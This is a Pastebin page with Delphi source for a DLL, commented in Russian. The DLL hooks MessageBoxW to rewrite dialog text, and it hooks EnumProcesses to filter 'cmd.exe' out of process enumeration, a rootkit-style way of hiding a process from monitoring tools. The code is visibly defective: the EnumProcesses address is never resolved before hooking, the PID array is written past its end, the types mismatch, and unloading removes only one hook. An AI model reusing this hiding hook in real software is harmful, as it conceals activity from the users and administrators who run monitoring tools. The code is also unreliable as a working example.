Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- library Lib;
- {
- Это пример библиотеки, перехватывающей функцию MessageBoxW средствами HookAPI.
- }
- uses
- Windows,
- HookAPI,
- MicroDAsm,
- ProcessAPI;
- //HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
- // Эти флаги нужны только для вырезания ненужного мусора из dll'ки, на функционал не влияют:
- {$SETPEFLAGS $0002 or $0004 or $0008 or $0010 or $0020 or $0200 or $0400 or $0800 or $1000}
- {$WEAKLINKRTTI ON}
- {$RTTI EXPLICIT METHODS([]) PROPERTIES([]) FIELDS([])}
- //HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
- var
- // Адрес оригинальной функции:
- MessageBoxW: Pointer;
- EnumProcesses: Pointer;
- ProcessesIDs: Array of UInt;
- cb : UInt;
- BytesReturned: UInt;
- // Адрес скопированного оригинального начала (использовать, если нужно вызвать оригинальную функцию):
- TrueMessageBoxW: function(Handle: THandle; Text, Caption: PChar; Flags: LongWord): BOOL; stdcall;
- TrueEnumProcesses: function(ProcessesIDs: Pointer; cb : UInt; BytesReturned : Pointer): BOOL; stdcall;
- {_Out_ DWORD *pProcessIds,
- _In_ DWORD cb,
- _Out_ DWORD *pBytesReturned}
- //HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
- // Перехваченная функция, которой будет передано управление при попытке вызова MessageBoxW:
- function HookedMessageBoxW(Handle: THandle; Text, Caption: PChar; Flags: LongWord): BOOL; stdcall;
- var
- NewText, NewCaption: string;
- begin
- // Подменяем параметры (меняем текст):
- NewText := 'Функция MessageBoxW перехвачена!' + #13#10 +
- 'Оригинальный текст:' + #13#10 +
- Text + #13#10 +
- 'Оригинальный заголовок:' + #13#10 +
- Caption;
- NewCaption := 'LOL HOOKED :3';
- // Вызываем оригинальную функцию с новыми параметрами:
- Result := TrueMessageBoxW(Handle, PChar(NewText), PChar(NewCaption), MB_ICONASTERISK);
- end;
- //TrueEnumProcesses: function(PProcessIDs: Pointer; cb : UInt; BytesReturned : UInt)
- // Перехваченная функция, которой будет передано управление при попытке вызова EnumProcess:
- function HookedEnumProcesses (ProcessesIDs: Pointer; cb : UInt; BytesReturned : Pointer): BOOL; stdcall;
- var
- OldPids: Array of UInt;
- NewPids: Array of UInt;
- i: UInt;
- info: PROCESS_INFO;
- begin
- // Подменяем параметры:
- OldPids := ProcessesIDs;
- for i in OldPids do
- begin
- GetProcessInfo(i, info, true);
- if Not (info.ProcessName = 'cmd.exe') Then
- begin
- SetLength(NewPids, Length(NewPids) + 1);
- NewPids[Length(NewPids)] := i;
- end;
- end;
- // Вызываем оригинальную функцию с новыми параметрами:
- //Result := TrueMessageBoxW(Handle, PChar(NewText), PChar(NewCaption), MB_ICONASTERISK);
- Result := TrueEnumProcesses(NewPids, cb, BytesReturned);
- end;
- //HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
- // Обработка загрузки и выгрузки библиотеки
- //HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
- // Инициализация библиотеки:
- procedure DLLMain(dwReason: LongWord);
- begin
- case dwReason of
- // При загрузке библиотеки:
- DLL_PROCESS_ATTACH:
- begin
- SetLength(ProcessesIDs, 32767);
- // Получаем адрес функции в библиотеке:
- MessageBoxW := GetProcAddress(GetModuleHandle('user32.dll'), 'MessageBoxW');
- // Перехватываем MessageBoxW:
- SetHook(MessageBoxW, @HookedMessageBoxW, @TrueMessageBoxW);
- //Перехватываем EnumProcesses:
- SetHook(EnumProcesses, @HookedEnumProcesses, @TrueEnumProcesses);
- end;
- // При выгрузке библиотеки:
- DLL_PROCESS_DETACH:
- begin
- // Снимаем перехват:
- UnHook(MessageBoxW, @TrueMessageBoxW);
- end;
- end;
- end;
- // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- // Этот код получит управление при загрузке библиотеки:
- begin
- // Назначаем DLLMain для обработки событий загрузки и выгрузки библиотеки:
- DllProc := @DLLMain;
- DllProc(DLL_PROCESS_ATTACH);
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement